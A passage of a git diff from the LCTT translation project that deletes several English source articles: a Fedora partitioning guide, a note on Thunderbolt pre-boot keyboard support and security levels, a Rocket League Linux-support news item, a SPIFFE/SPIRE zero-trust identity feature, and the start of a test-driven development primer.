that want to use Linux while also being able to maintain their systems easily. - -Personally, I wouldn’t mind paying for the service if it makes deploying and using Linux easier, in general. - -Of course, it does not support every Linux distro as of yet – but it is indeed a promising service to keep an eye out for. - -What do you think about it? Do you know of a better alternative to Zorin Grid? Do share your views in the comments. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/zorin-grid/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lujun9972 -[1]: https://zorinos.com/grid/ -[2]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/01/zorin-grid-dashboard.png?ssl=1 -[3]: https://itsfoss.com/vicenza-windows-zorin/ -[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/01/zorin_grid_features.jpg?ssl=1 -[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/01/zorin-os-computers.jpg?ssl=1 -[6]: https://itsfoss.com/zorin-os-interview/ -[7]: https://zorinos.com/help/switch-your-organization-to-zorin-os/ diff --git a/sources/tech/20200120 Learning about Partitions and How to Create Them for Fedora.md b/sources/tech/20200120 Learning about Partitions and How to Create Them for Fedora.md deleted file mode 100644 index 93fa25b3ef..0000000000 --- a/sources/tech/20200120 Learning about Partitions and How to Create Them for Fedora.md +++ /dev/null @@ -1,141 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Learning about Partitions and How to Create Them for Fedora) -[#]: via: (https://fedoramagazine.org/learning-about-partitions-and-how-to-create-them-for-fedora/) -[#]: author: (Gregory Bartholomew https://fedoramagazine.org/author/glb/) - -Learning about Partitions and How to Create Them for Fedora -====== - -![][1] - -Operating system distributions try to craft a one size fits all partition layout for their file systems. Distributions cannot know the details about how your hardware is configured or how you use your system though. Do you have more than one storage drive? If so, you might be able to get a performance benefit by putting the write-heavy partitions (_var_ and _swap_ for example) on a separate drive from the others that tend to be more read-intensive since most drives cannot read and write at the same time. Or maybe you are running a database and have a small solid-state drive that would improve the database’s performance if its files are stored on the SSD. - -The following sections attempt to describe in brief some of the historical reasons for separating some parts of the file system out into separate partitions so that you can make a more informed decision when you install your Linux operating system. - -If you know more (or contradictory) historical details about the partitioning decisions that shaped the Linux operating systems used today, contribute what you know below in the comments section! - -### Common partitions and why or why not to create them - -#### The boot partition - -One of the reasons for putting the ***/*_boot_ directory on a separate partition was to ensure that the boot loader and kernel were located within [the first 1024 cylinders of the disk][2]. Most modern computers do not have the 1024 cylinder restriction. So for most people, this concern is no longer relevant. However, modern UEFI-based computers have [a different restriction][3] that makes it necessary to have a separate partition for the boot loader. UEFI-based computers require that the boot loader ([which can be the Linux kernel directly][4]) be on a FAT-formatted file system. The Linux operating system, however, requires a POSIX-compliant file system that can designate access permissions to individual files. Since [FAT file systems do not support access permissions][5], the boot loader must be on a separate file system than the rest of the operating system on modern UEFI-based computers. A single partition cannot be [formatted][6] with more than one type of file system. - -#### The var partition - -One of the historical reasons for [putting the /var directory on a separate partition][7] was to prevent files that were frequently written to (_/var/log/*_ for example) from filling up the entire drive. Since modern drives tend to be much larger and since other means like [log rotation][8] and [disk quotas][9] are available to manage storage utilization, putting _/var_ on a separate partition may not be necessary. It is much easier to change a disk quota than it is to re-partition a drive. - -Another reason for isolating _/var_ was that file system corruption was much more common in the original version of the Linux [Extended File System (EXT)][10]. The file systems that had more write activity were much more likely to be irreversibly corrupted by a power outage than those that did not. By partitioning the disk into separate file systems, one could limit the scope of the damage in the event of file system corruption. This concern is no longer as significant because modern file systems support [journaling][11]. - -#### The home partition - -Having ***/*_home_ on a separate partition makes it possible to re-format the other partitions without overwriting your home directories. However, because modern Linux distributions are much better at doing in-place operating system upgrades, re-formatting shouldn’t be needed as frequently as it might have been in the past. - -It can still be useful to have _/home_ on a separate partition if you have a dual-boot setup and want both operating systems to share the same home directories. Or if your operating system is installed on a file system that supports snapshots and rollbacks and you want to be able to rollback your operating system to an older snapshot without reverting the content in your user profiles. Even then, some file systems allow their descendant file systems to be rolled back independently, so it still may not be necessary to have a separate partition for _/home_. On ZFS, for example, one pool/partition can have multiple descendant file systems. - -#### The swap partition - -The _swap_ partition reserves space for the contents of RAM to be written to permanent storage. There are pros and cons to having a swap partition. A pro of having swap memory is that it theoretically gives you time to gracefully shutdown unneeded applications before [the OOM killer][12] takes matters into its own hands. This might be important if the system is running mission-critical software that you don’t want abruptly terminated. A con might be that your system runs so slow when it starts swapping memory to disk that you’d rather the OOM killer take care of the problem for you. - -Another use for swap memory is [hibernation mode][13]. This might be where the rule that the swap partition should be twice the size of your computer’s RAM originated. Ideally, you should be able to put a system into hibernation even if nearly all of its RAM is in use. Beware that Linux’s support for hibernation is not perfect. It is not uncommon that after a Linux system is resumed from hibernation some hardware devices are left in an inoperable state (for example, no video from the video card or no internet from the WiFi card). - -In any case, having a swap partition is more a matter of taste. It is not required. - -#### The root partition - -The _root_ partition (/) is the catch-all for all directories that have not been assigned to a separate partition. There is always at least one root partition. BIOS-based systems that are new enough to not have the 1024 cylinder limit can be configured with only a root partition and no others so that there is never a need to resize a partition or file system if space requirements change. - -#### The EFI system partition - -The [EFI System Partition (ESP)][14] serves the same purpose on UEFI-based computers as the _boot_ partition did on the older BIOS-based computers. It contains the boot loader and kernel. Because the files on the ESP need to be accessible by the computer’s firmware, the ESP has a few restrictions that the older boot partition did not have. The restrictions are: - - 1. The ESP must be formatted with a FAT file system (_vfat_ in Anaconda) - 2. The ESP must have a special [type-code][15] (_EF00_ when using [gdisk][16]) - - - -Because the older boot partition did not have file system or type-code restrictions, it is permissible to apply the above properties to the _boot_ partition and use it as your ESP. Note, however, that the GRUB boot loader does not support combining the boot and ESP partitions. If you use GRUB, you will have to create a separate partition and mount it beneath the _/boot_ directory. - -The [Boot Loader Specification (BLS)][17] lists several reasons why it is ideal to use the legacy boot partition as your ESP. The reasons include: - - 1. The UEFI firmware should be able to load the kernel directly. Having a separate, non-ESP compliant boot partition for the kernel prevents the UEFI firmware from being able to directly load the kernel. - 2. Nesting the ESP mount point three mount levels deep increases the likelihood that an intermediate mount could fail or otherwise be unavailable when needed. That is, requiring _root_ (/), then _boot_ (/boot), then _efi_ (/efi) to be consecutively mounted is unnecessarily complex and prone to error. - 3. Requiring the boot loader to be able to read other partitions/disks which may be formatted with arbitrary file systems is non-trivial. Even when the boot loader does contain such code, the code that works at installation time can become outdated and fail to access the kernel/initrd after a file system update. This is currently true of GRUB’s _ZFS_ file system driver, for example. You must be careful not to update your _ZFS_ file system if you use the GRUB boot loader or else your system may not come back up the next time you reboot. - - - -Besides the concerns listed above, it is a good idea to have your startup environment — up to and including your [initramfs][18] — on a single self-contained file system for recovery purposes. Suppose, for example, that you need to rollback your root file system because it has become corrupted or it has become infected with malware. If your _kernel_ and _initramfs_ are on the _root_ file system, you may be unable to perform the recovery. By having the _boot loader_, _kernel_, and _initramfs_ all on a single file system that is rarely accessed or updated, you can increase your chances of being able to recover the rest of your system. - -In summary, there are many ways that you can layout your partitions and the type of hardware (BIOS or UEFI) and the brand of boot loader (GRUB, Syslinux or [systemd-boot][19]) are among the factors that will influence which layouts will work. - -### Other considerations - -#### MBR vs. GPT - -[GUID Partition Table (GPT)][20] is the newer partition format that supports larger disks. GPT was designed to work with the newer UEFI firmware. It is backward-compatible with the older [Master Boot Record (MBR)][21] partition format but not all boot loaders support the [MBR boot method][21]. _GRUB_ and _Syslinux_ support both MBR and UEFI, but _systemd-boot_ only supports the newer [UEFI boot method][22]. - -By using GPT now, you can increase the likelihood that your storage device, or an image of it, can be transferred over to a newer computer in the future should you wish to do so. If you have an older computer that natively supports only MBR-partitioned drives, you may need to add the _inst.gpt_ parameter to **Anaconda** when starting the installer to get it to use the newer format. How to add the _inst.gpt_ parameter is shown in the below video titled **“Partitioning a BIOS Computer”**. - -If you use the _GPT_ partition format on a BIOS-based computer, and you use the _GRUB_ boot loader, you must additionally create a one megabyte _biosboot_ partition at the start of your storage device. The _biosboot_ partition is not needed by any other brand of boot loader. How to create the _biosboot_ partition is demonstrated in the below video titled **“Partitioning a BIOS Computer”**. - -#### LVM - -One last thing to consider when manually partitioning your Linux system is whether to use standard partitions or logical volumes. Logical volumes are managed by the [Logical Volume Manager (LVM)][23]. You can setup LVM volumes directly on your disk without first creating standard partitions to hold them. However, most computers still require that the boot partition be a standard partition and not an LVM volume. Consequently, having LVM volumes only increases the complexity of the system because the LVM volumes must be created within standard partitions. - -The main features of LVM — online storage resizing and clustering — are not really applicable to the typical end user. Most laptops do not have hot-swappable drive bays for adding or reconfiguring storage while the system is running. And not many laptop or desktop users have [clvmd][24] configured so they can access a centralized storage device concurrently from multiple client computers. - -LVM is great for servers and clusters. But it adds extra complexity for the typical end user. Go with standard partitions unless you are a server admin who needs the more advanced features. - -### Video demonstrations - -Now that you know which partitions you need, you can watch the sort video demonstrations below to see how to manually partition a Fedora Linux computer from the Anaconda installer. - -These videos demonstrate creating only the minimally required partitions. You can add more if you choose. - -Because the _GRUB_ boot loader requires a more complex partition layout on UEFI systems, the below video titled **“Partitioning a UEFI Computer”** additionally demonstrates how to install the _systemd-boot_ boot loader. By using the _systemd-boot_ boot loader, you can reduce the number of needed partitions to just two — _boot_ and _root_. How to use a boot loader other than the default (GRUB) with Fedora’s Anaconda installer is officially documented [here][25]. - -**Partitioning a UEFI Computer** - -**Partitioning a BIOS Computer** - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/learning-about-partitions-and-how-to-create-them-for-fedora/ - -作者:[Gregory Bartholomew][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/glb/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/01/partitions-fedora-816x346.png -[2]: https://en.wikipedia.org/wiki/Cylinder_1024 -[3]: https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface#EFI_system_partition -[4]: https://www.kernel.org/doc/Documentation/efi-stub.txt -[5]: https://en.wikipedia.org/wiki/File_system_permissions#Operating_system_variations -[6]: https://en.wikipedia.org/wiki/Disk_formatting#Formatting -[7]: https://access.redhat.com/discussions/641923 -[8]: https://linuxconfig.org/setting-up-logrotate-on-redhat-linux -[9]: https://docs.oracle.com/cd/E19253-01/819-5461/gazud/index.html -[10]: https://en.wikipedia.org/wiki/Extended_file_system -[11]: https://en.wikipedia.org/wiki/Journaling_file_system -[12]: https://lwn.net/Articles/317814/ -[13]: https://www.fosslinux.com/184/what-is-difference-between-suspend-and-hibernate-in-linux.htm -[14]: https://en.wikipedia.org/wiki/EFI_system_partition -[15]: https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs -[16]: https://fedoramagazine.org/managing-partitions-with-sgdisk/ -[17]: https://systemd.io/BOOT_LOADER_SPECIFICATION/ -[18]: https://fedoramagazine.org/initramfs-dracut-and-the-dracut-emergency-shell/ -[19]: https://www.freedesktop.org/wiki/Software/systemd/systemd-boot/ -[20]: https://en.wikipedia.org/wiki/GUID_Partition_Table -[21]: https://en.wikipedia.org/wiki/Master_boot_record -[22]: https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface#UEFIBOOT -[23]: https://en.wikipedia.org/wiki/Logical_Volume_Manager_(Linux) -[24]: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/5/html/logical_volume_manager_administration/lvm_cluster_overview -[25]: https://docs.fedoraproject.org/en-US/fedora/rawhide/install-guide/install/Installing_Using_Anaconda/#sect-installation-gui-storage-partitioning-bootloader diff --git a/sources/tech/20200124 Thunderbolt - how to use keyboard during boot time.md b/sources/tech/20200124 Thunderbolt - how to use keyboard during boot time.md deleted file mode 100644 index d8fc2ae581..0000000000 --- a/sources/tech/20200124 Thunderbolt - how to use keyboard during boot time.md +++ /dev/null @@ -1,96 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Thunderbolt – how to use keyboard during boot time) -[#]: via: (https://fedoramagazine.org/thunderbolt-how-to-use-keyboard-during-boot-time/) -[#]: author: (Martin Sehnoutka https://fedoramagazine.org/author/msehnout/) - -Thunderbolt – how to use keyboard during boot time -====== - -![][1] - -### Problem statement - -Imagine you bought a new laptop with a shiny new USB-C docking station. You install fresh Fedora, encrypt your hard drive because laptop is a travel equipment and you do not want to travel around with non-ecrypted hard drive. You finish the installation, close the lid because you have external monitor, reboot the machine, and finally you would like to enter the LUKS password using the external keyboard attached using USB 2.0 to the USB-C docking station but it does not work! - -The keyboard does not respond at all. So you open the lid, try the built-in keyboard which works just fine and once the machine boots the external keyboard works just fine as well. What is the problem? - -### What is this Thunderbolt anyway and why would anyone want it? - -Thunderbolt is a hardware interface to connect peripherals such as monitors, external network cards [1] or even graphic cards [1]. The physical connector is the same as USB-C, but there is usually a label with a little lightning right next to the port to differentiate “plain” USB-C from Thunderbolt ports. - -![][2] - -Of course it comes with very high transmission speed to support such demanding peripherals, but it also comes with a certain security risks. To achieve transmission speed like this, Thunderbolt uses Direct Memory Access (DMA) for the peripheral devices. As the name suggests, this method allows the external device to read and write memory directly without talking to the running operating system. - -I guess you can already spot the problem here. If some stranger is walking around my laptop (even with the screen locked), is it really possible to just attach a device and read content of my computer memory? Let’s discuss it in more detail. - -### User facing solution for Thunderbolt security - -In the recent versions, Gnome settings include a tab for Thunderbolt device configuration. You can enable and disable DMA access for external devices and you can also verify identity of the devices. - -![][3] - -_bolt_ is the component responsible for managing thunderbolt devices. See _man 8 boltd_ for more information. - -### CLI tools - -Of course it is possible to control the same via command line. I suggest you to read _man boltctl_ or check the upstream repository directly: - -### Pre-boot support – solution to the keyboard problem - -In pre-boot environment, the situation is slightly different. The userspace service responsible for device verification is not yet running so if a device is to be allowed, the firmware must to it. In order to enable this feature go to your BIOS and look for “support in pre boot environment”. For example this is how it looks on a Lenovo laptop: - -![][4] - -Once you enable this feature, bolt will add any verified device to a list of allowed devices. The next time you boot your machine, you should be able to use your external keyboard. - -Run _boltctl_ a look for “bootacl”. Make sure that the list of allowed devices contains the one you wish to use. - -![][5] - -Also note the “security: secure” line. If you see anything else, for instance “security: user” I recommend to reconfigure BIOS. - -### Technical details of the pre-boot support - -There is one unfortunate technical detail about this solution. Thunderbolt support different security levels. For running Fedora, I recommend you to use “secure” level to verify that the device is indeed the one that it claims to be by using a per-device key generated by the host and stored in the device. Firmware, on the other hand, will only use “user” level which uses simple UUID that is provided by the device. The difference is that a malicious device could claim to be a different one by providing the same UUID as a legitimate one. Anyway this should not be a problem as the memory does not contain any sensitive data yet. - -You can find more technical details in this blog post: - -### Conclusion - -As you can see, in recent enough Fedora version the solution is a simple switch in BIOS. So if you are still opening your laptop during boot, go ahead and configure it so you don’t have to do it next time. Meanwhile **check that the default security level is “secure”** instead of “user” [5]. - -### Sources: - -[1] - -[2] - -[3] - -[4] - -[5] - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/thunderbolt-how-to-use-keyboard-during-boot-time/ - -作者:[Martin Sehnoutka][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/msehnout/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/01/header-816x345.png -[2]: https://fedoramagazine.org/wp-content/uploads/2020/01/port-1024x165.jpg -[3]: https://fedoramagazine.org/wp-content/uploads/2020/01/Screenshot-from-2020-01-17-12-47-30.png -[4]: https://fedoramagazine.org/wp-content/uploads/2020/01/bios-1024x389.jpg -[5]: https://fedoramagazine.org/wp-content/uploads/2020/01/Screenshot-from-2020-01-17-13-18-21.png diff --git a/sources/tech/20200125 Oh, Bummer- Rocket League is Ending Support For Linux.md b/sources/tech/20200125 Oh, Bummer- Rocket League is Ending Support For Linux.md deleted file mode 100644 index ab18ff6d7a..0000000000 --- a/sources/tech/20200125 Oh, Bummer- Rocket League is Ending Support For Linux.md +++ /dev/null @@ -1,80 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Oh, Bummer! Rocket League is Ending Support For Linux) -[#]: via: (https://itsfoss.com/rocket-league-ending-support-for-linux/) -[#]: author: (Ankush Das https://itsfoss.com/author/ankush/) - -Oh, Bummer! Rocket League is Ending Support For Linux -====== - -If you’ve enjoyed playing Rocket League on Linux, you will be disappointed to know that [Pysonix][1], the developer team behind Rocket League [announced][2] that they will be dropping support for Linux and Mac in March, 2020. - -If it was just another casual game on [Steam][3], I wouldn’t mind- but Rocket League is a quite popular online multiplayer game across every platform. - -![][4] - -In fact, Rocket League was one of my [favorite games to play on Linux][5] (in addition to CS: GO). Even though I haven’t played it for a while – it is a bummer that I won’t be able to play it either. - -So, this is definitely sad for Linux gamers who were looking forward to having fun in a popular online multiplayer game that required a decent hardware configuration to work flawlessly. - -### Why are they ending support? - -![][6] - -In their [announcement][2], they mentioned: - -> As we continue to upgrade _**Rocket League**_ with new technologies, it is no longer viable for us to maintain support for the macOS and Linux (SteamOS) platforms. As a result, the final patch for the macOS and Linux versions of the game will be in March. This update will disable online functionality (such as in-game purchases) for players on macOS and Linux, but offline features including Local Matches, and splitscreen play will still be accessible. - -Well, this certainly does not explain why they’re dropping support for Linux/Mac. But, it looks like the game will get its final patches in March. - -**After that, you will not be able to play multiplayer sessions – but will be restricted to the local multiplayer sessions (or split-screen)**. - -Maybe you can try using [Wine][7] or [Steam Play][8] to play it on Linux? Doesn’t sound good though. - -Some furious users/gamers on [Reddit][9] mentioned that this is a result of Epic Games acquiring Rocket League developer **Psyonix**. I wouldn’t comment on that one – feel free to share your thoughts in the comments though. - -### How to get a refund for your Rocket League purchase - -![][10] - -To get a refund for your purchase of the Rocket League, you need to open a ticket on the [Psyonix Support][11] page. - -If you’ve purchased it recently in the ongoing Steam sale – you might just get an instant refund from Steam if you initiate a refund. - -If you have no plans to play it on a Windows machine (or trying Proton/Wine) on Linux – you should apply for a refund. - -**Wrapping Up** - -While this may not be a big-shot game for the platform but dropping support for Linux is not helping to improve the gaming scene on Linux. - -If a game that worked quite well on Linux drops support for it – how can we expect newer games to consider adding support for Linux? - -Feel free to share your thoughts in the comments down below. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/rocket-league-ending-support-for-linux/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lujun9972 -[1]: https://www.psyonix.com/ -[2]: https://www.rocketleague.com/news/ending-support-for-mac-and-linux/ -[3]: https://store.steampowered.com/app/252950/Rocket_League/ -[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/01/rocket-league.jpg?ssl=1 -[5]: https://itsfoss.com/free-linux-games/ -[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/01/rocket-league-shot.jpg?ssl=1 -[7]: https://itsfoss.com/use-windows-applications-linux/ -[8]: https://itsfoss.com/steam-play/ -[9]: https://www.reddit.com/r/linux/comments/esxil2/support_for_rocket_league_on_linux_is_ending/ -[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/01/rocket-league-refund.jpg?ssl=1 -[11]: https://support.rocketleague.com/hc/en-us diff --git a/sources/tech/20200127 Building Zero Trust authentication for multi-cloud application services.md b/sources/tech/20200127 Building Zero Trust authentication for multi-cloud application services.md deleted file mode 100644 index 009b39108f..0000000000 --- a/sources/tech/20200127 Building Zero Trust authentication for multi-cloud application services.md +++ /dev/null @@ -1,69 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Building Zero Trust authentication for multi-cloud application services) -[#]: via: (https://www.linux.com/articles/building-zero-trust-authentication-for-multi-cloud-application-services/) -[#]: author: (Swapnil Bhartiya https://www.linux.com/author/swapnil/) - -Building Zero Trust authentication for multi-cloud application services -====== - -[![][1]][2] - -[![][1]][2] - -One of the fundamental challenges organizations have about multi-cloud and hybrid cloud environments, is how to easily establish secure communication across different clouds and environments. Cloud providers have their own identity and access management solutions, such as AWS IAM, to manage what access an instance should and should not have. But as soon as the applications or services  need to communicate from AWS to GCP or from AWS to their on-prem infrastructure, it becomes a challenge because it’s AWS-specific and not interoperable. Engineering and operations teams need something secure that could work across environments and at the same time should not add any friction to the deployment cycles - -This is the problem [Scytale][3], a is trying to address with Secure Production Identity Framework for Everyone ([SPIFFE][4]) and SPIFFE Runtime Environment ([SPIRE][5]). Both of these open-source  projects originated at Scytale but now are part of  the Cloud Native Computing Foundation (CNCF). These projects have grown in popularity within the cloud native community and have seen contributions from organizations such as Amazon, Bloomberg, Google, Pinterest, Square , Uber and more. - -“Scytale is the primary driver of these projects that offer ‘interoperable identity’ between different cloud providers and different platforms,” Evan Gilman, Senior Engineer at Scytale.io and co-author of _[Zero Trust Networks][6]_. “From the commercial angle, we have built solutions to help organizations adopt these projects faster and  extend their functionalities to address the needs of enterprise customers .” - -**Vendor and technology neutral identity solution** -The passport analogy best explains interoperable identity. Passports from different countries all look different, but they all have the same size and meet the same specifications. They all have a picture of the passport holder at the same spot, they all have a barcode at the bottom. Regardless of what country issued the passport, it works across the globe. - -A “country” can be a particular software stack, platform, or a cloud provider. Regardless of the environment, the identities that exist within and between those silos can communicate. - -Interoperable identity becomes even more critical in the multi-cloud and hybrid cloud deployments, as they raise this fundamental challenge of how users secure communication across those boundaries. - -“We are bringing in a platform-agnostic service identity that is not specific to a cloud provider, platform, and technology,” said Gilman. It levels the playing field and allows users to talk across boundaries. Users won’t talk in AWS or GCP specifics; they communicate on the SPIFFE level. “SPIFFE provides users with what is sometimes referred to as a secure dial tone: you pick up the phone, it rings the other side irrespective of where it’s running and what platform it’s running on,” added Gilman. - -**SPIFFE based service** authentication **foundational for zero trust networks** -SPIFFE is a standard, a set of documents whereas SPIRE is the software implementation of that standard. SPIRE implements the SPIFFE specifications and enables workloads or services to get these “passports” as soon as they boot, in a way that is very reliable, scalable, and highly automated. This identity centric authentication is also critical for building a zero trust-based security model  , which removes reliance on networks to deliver trustworthy information. - -“Networks have been historically fairly manipulable. So instead we build systems in such a way that it doesn’t rely on that network to deliver trustworthy information,” said Gilman, “We use protocols and strong authentication and authorization to try to mitigate any kind of business that might happen on the wire. It also mitigates what we call lateral movement. So if a neighbor is compromised, just because you’re attached to the same network, that should not mean that you should gain access that you would not have otherwise.” - -Gilman explains, “Part of the SPIFFE specification set deals with what we call ‘federation’. There is usually a centralized authority that issues these identities. In reality, there are different companies that have their own authorities. Even different software stacks have their own authorities. There is a need to bridge these gaps.” - -That’s where the SPIFFE Federation enters the picture. It swaps these cryptographic keys between different domains. It allows users with different identity providers to communicate effortlessly. - -One key design principle of the SPIFFE Federation is that it is compatible with OIDC, which is a similar identity federation spec, but is more focused around users. It allows for server-to-server and service-to-service communication. Any existing OIDC can take advantage of it and pass one of its SPIFFE identity documents to a public cloud like AWS, which will be able to validate it using this OIDC SPIFFE Federation mechanism. - -While SPIFFE as a specification doesn’t change, SPIRE has a monthly release cadence. It continues to add new features on a regular basis. - -The latest release introduced integration with the AWS Private CA Manager, which means that SPIRE deployments living inside AWS can use it to protect the sign-in keys for identities. These identities are cryptographically backed so there is a key that is used to sign these identities. One of the biggest challenges is to secure these sign-in keys. Being able to bury that key inside the AWS service, which is backed by hardware protection, is an incredible feature. - -The community is also working on a feature called Nested SPIRE, which allows users to have multiple SPIRE server clusters that form a tree and chain up to each other. - -Together, these new features give a lot of flexibility in terms of architecting for failure modes and failure domains, and architecting around different security domains. - --------------------------------------------------------------------------------- - -via: https://www.linux.com/articles/building-zero-trust-authentication-for-multi-cloud-application-services/ - -作者:[Swapnil Bhartiya][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/swapnil/ -[b]: https://github.com/lujun9972 -[1]: https://www.linux.com/wp-content/uploads/2020/01/buffer-1143485_1920-1068x638.jpg (passport) -[2]: https://www.linux.com/wp-content/uploads/2020/01/buffer-1143485_1920.jpg -[3]: https://scytale.io/ -[4]: https://spiffe.io/ -[5]: https://spiffe.io/spire/ -[6]: https://www.amazon.com/Zero-Trust-Networks-Building-Untrusted/dp/1491962194 diff --git a/sources/tech/20200127 How to get started with test-driven development.md b/sources/tech/20200127 How to get started with test-driven development.md deleted file mode 100644 index 2986deee9a..0000000000 --- a/sources/tech/20200127 How to get started with test-driven development.md +++ /dev/null @@ -1,77 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to get started with test-driven development) -[#]: via: (https://opensource.com/article/20/1/test-driven-development) -[#]: author: (Alex Bunardzic https://opensource.com/users/alex-bunardzic) - -How to get started with test-driven development -====== -Learn when, what, and how to test in a TDD system. -![Penguin driving a car with a yellow background][1] - -I am often approached by software developers who are on board with the switch to test-driven development (TDD). They understand that describing expectations first and then writing code to meet those expectations is the best way to write software. And they agree that writing tests first does not introduce any overhead since they must write tests anyway. Still, they find themselves stuck, not being clear on what to test, when to test it, and how to test it. This article will answer those questions. - -### First, an analogy - -Imagine you're working on a team that has been asked to build a race car. The goal is to deliver a product that will enable a crew to drive the car from one city (say, Portland, Oregon) to another city (say, Seattle, Washington). - -Your team could go about designing and building that car in several different ways. One way would be to handcraft a unique, monolithic vehicle where all parts are home-grown and tightly coupled. Another way would be to use only prefabricated parts and stitch them together. And there are many other permutations of these two extreme approaches. - -Suppose your team goes with hand-building the constituent components of the race car. A car needs a battery to run. For the purposes of this analogy, focus on the custom-made car battery. How would you go about testing it? - -### Testing strategies - -One way to the test custom-made car battery would be to hire a testing crew, ship the car with the battery to Portland, and then get the testing crew to drive the car from Portland to Seattle. If the car arrives in Seattle, you can confirm that, yes, the car battery functions as expected. - -Another way to test the custom-made car battery would be to install it in the car and see if the engine turns over. If the engine starts, you can confirm that, yes, the car battery functions as expected. - -Still another way would be to use a voltmeter and connect the positive (+) and the negative (-) terminals to see if the voltmeter registers voltage output in the range of 12.6 to 14.7 volts. If it does, you can confirm that, yes, the car battery functions as expected. - -The above three hypothetical examples illustrate how different ways of testing the car battery align with three categories of testing strategies: - - 1. Employing the testing crew to drive the car from Portland to Seattle aligns with the **system or end-to-end testing strategy**. - 2. Installing the battery in the car and verifying if the engine starts aligns with the **integration testing strategy**. - 3. Measuring the voltage output of the car battery to verify if it falls within the expected range aligns with the **unit testing strategy**. - - - -### TDD is all about unit testing - -I hope these examples provide simple guiding principles for discerning between unit, integration, and system end-to-end testing. - -Keeping those guidelines in mind, it is very important _never_ to include integration nor system tests in your TDD practice. In TDD, the expected outcomes are always micro-outcomes. Measuring the voltage output of a car battery is a good example of a micro-outcome. A car battery is a unit of functionality that cannot easily be broken down into a few smaller units of functionality. As such, it is a perfect candidate for writing a unit test (i.e., describing the expected measurable output). - -You could also write a description of your expectations in the form of: "I expect the car engine to start on the event of turning the key." However, that description wouldn't qualify as a unit test. Why? Because the car is not at a sufficiently low level of granularity. In software engineering parlance, the car does not embody the [single responsibility principle][2] (SRP). - -And of course, while you could also write a description of your expectation in the form of: "I expect the car, which begins its journey in Portland, to arrive in Seattle after x number of hours," that description wouldn't qualify as a unit test. Many aspects of the car's journey from Portland to Seattle could be measured, so such end-to-end descriptions should never be part of TDD. - -### Simulating real conditions - -In the case of a car battery, just by using a simple voltmeter, you can simulate the operational environment of a car battery. You don't have to go into the expense of providing a full-blown experience (e.g., a fully functional car, a long and treacherous trip from Portland to Seattle) to be convinced that, indeed, your car battery functions as expected. - -That's the beauty of unit testing's simplicity. It's easy to simulate, easy to measure, easy to leave the exercise being convinced that everything works as expected. - -So what is it that enables this magic? The answer is simple—the _absence of dependencies_. A car battery does not depend on anything related to the automobile. Nor does it depend on anything related to the road trip from Portland to Seattle. Keep in mind that as your decomposed system components become less and less dependent on other components, your solution gets more and more reliable. - -### Conclusion - -The art of software engineering consists of the ability to decompose complex systems into small constituent elements. Each individual element must be reduced to the smallest possible surface. Once you reach that point in your process of decomposing a system, you can quite easily focus your attention on describing your expectations about the output of each unit. You can do that by following a formalized pattern, in which you first describe the _preconditions_ (i.e., given that such-and-such values are present), the _action_ (i.e., given that such-and-such _event_ arrives), and the _outcome_ or the _post-condition_ (i.e., you expect such-and-such values to be measurable). - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/test-driven-development - -作者:[Alex Bunardzic][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: 